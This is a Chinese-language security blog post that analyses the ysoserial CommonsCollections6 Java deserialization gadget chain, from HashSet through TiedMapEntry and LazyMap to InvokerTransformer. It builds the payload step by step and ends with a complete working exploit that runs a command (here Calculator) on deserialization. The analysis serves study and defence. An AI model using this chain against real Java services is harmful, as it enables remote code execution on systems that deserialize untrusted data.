0%

ysoserial分析之CommonsCollections6

这篇文章分析的是CommonsCollections6。CommonsCollections6主要是利用Hashset触发readObject函数,然后利用LazyMap.get函数触发transform函数。

前面已经分析过:
ysoserial分析之CommonsCollections1
ysoserial分析之CommonsCollections2
ysoserial分析之CommonsCollections3
ysoserial分析之CommonsCollections4
ysoserial分析之CommonsCollections5

CommonsCollections6与CommonsCollections5相比,最外层使用的是新的类HashSet,即从HashSet触发其readObject()一直到触发TiedMapEntry.getValue()。整个的利用链如下所示:

1
2
3
4
5
6
7
8
9
HashSet.readObject()
->HashMap.put()
->HashMap.hash()
->TiedMapEntry.hashCode()
->TiedMapEntry.getValue()
->LazyMap.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()

从整个利用链可以得知,从TiedMapEntry.getValue开始到结束与前面的CommonsCollections5一样,在这里就不再分析它了。

利用链分析

在前面提到过TiedMapEntry类触发其getValue函数有toString、hashCode以及equals。CommonsCollections5利用的就是toString,而此次我们要分析的是hashCode

那么首先,我们需要找到一个类,1)可序列化;2)它的方法中调用了Object.hashCode或者调用了TiedMapEntry.hashCode或者是Entry.hashCode。

由于hashCode的存在主要是用于查找的快捷性,容易出现在HashTable、HashMap等。在这里定位到HashMap类中,发现其有一个hash()方法。发现其调用了key.hashCode,且key是一个Object类。

那么接下来就需要找调用这个hash函数的地方,通过搜索调用hash函数的有putMapEntries、get、containsKey、put、remove等。CommonsCollections6选择了put函数。

其实类中的add方法页调用了map.put方法。那么接下来就转变为寻找一个类,满足1)可序列化;2)方法中调用了HashMap的put方法、Object的put方法或Map的put方法。

这里我们定位到HashSet的readObject方法。

可以看到在其readObject函数中,创建了一个Map,且在后续调用了map.put。到此为止整个利用链就分析完了。接下来构造payload。

Payload构造

分析payload的构造,也从TiedMapEntry.hashCode开始分析。在这里和之前一样,只需要保持TiedMapEntry的this.map是LazyMap对象即可。

1
2
3
4
5
6
7
8
9
10
11
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map beforemap = new HashMap();
Map lazyMap = LazyMap.decorate(beforemap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);

然后就是调用TiedMapEntry.hashCode的HashMap.hash方法。hash(Object key)调用了key.hashCode()。所以传入的参数key需要为上面构造好的TiedMapEntry对象。继续追溯这个key的来源。put方法中接收key这个参数来调用hash(key)。继续往上,就是hashSet中的map.put(e,PRESENT)。因此,e必须为TiedMapEntry对象。因此e是一个序列化后的TiedMapEntry对象。

1
2
HashSet map = new HashSet(1);
map.add("foo");

实例化后的HashSet会将map属性实例化为一个空的HashMap对象。HashSet的add方法能够往这个map属性中加入元素。add方法本质上也是调用map.put(e,PRESENT)。add("foo")的作用就是map.put(“Foo”,PRESENT)。

再调用map.add("foo")之后,整个过程是HashMap的存储过程。实际上就是HashMap新建了一个Node节点,节点的key为”foo”。因此,我们要做的就是获取到这个建立的节点,将其key更改为TiedMapEntry对象。

首先获取HashSet的map属性,其属性是个HashMap。

1
2
3
4
5
6
7
8
9
10
Field d =null;
try{
f = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
HashMap innimpl = (HashMap) f.get(map);

分析HashMap的存储过程可以知道,Node节点是存储在HashMAp的table属性中的。接着获取HashMap中的table属性,然后通过反射拿到节点数组。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Field f2 = null;
try{
f2 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

拿到节点数组之后就是获取节点的key属性,将其赋值为TeidMapEntry对象。

1
2
3
4
5
6
7
8
9
10

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node,tiedMapEntry);

整个payload的构造就到这里结束了。完整的demo如下所示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class test {

public static void main(String[] args) throws Exception{


Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer chainedTransformer = new ChainedTransformer(transformers);
Map beforemap = new HashMap();
Map lazyMap = LazyMap.decorate(beforemap,chainedTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,1);


HashSet map = new HashSet(1);
map.add("foo");

Field f = null;
try{
f = HashSet.class.getDeclaredField("map");
}catch(NoSuchFieldException e){
f = HashSet.class.getDeclaredField("backingMap");
}

f.setAccessible(true);
//返回map对象上此Field表示的字段的值
HashMap innimpl = (HashMap) f.get(map);

Field f2 = null;
try{
f2 = HashMap.class.getDeclaredField("table");
}catch (NoSuchFieldException e){
f2 = HashMap.class.getDeclaredField("elementData");
}

f2.setAccessible(true);
Object[] array = (Object[]) f2.get(innimpl);

Object node = array[0];
if(node == null){
node = array[1];
}

Field keyField = null;
try{
keyField = node.getClass().getDeclaredField("key");
}catch(Exception e){
keyField = Class.forName("java.util.MapEntry").getDeclaredField("key");
}

keyField.setAccessible(true);
keyField.set(node,tiedMapEntry);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(baos);
out.writeObject(map);
out.flush();
out.close();

byte[] bytes = baos.toByteArray();

ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream in = new ObjectInputStream(bais);
in.readObject();
in.close();

}
}

结果如下所示:

参考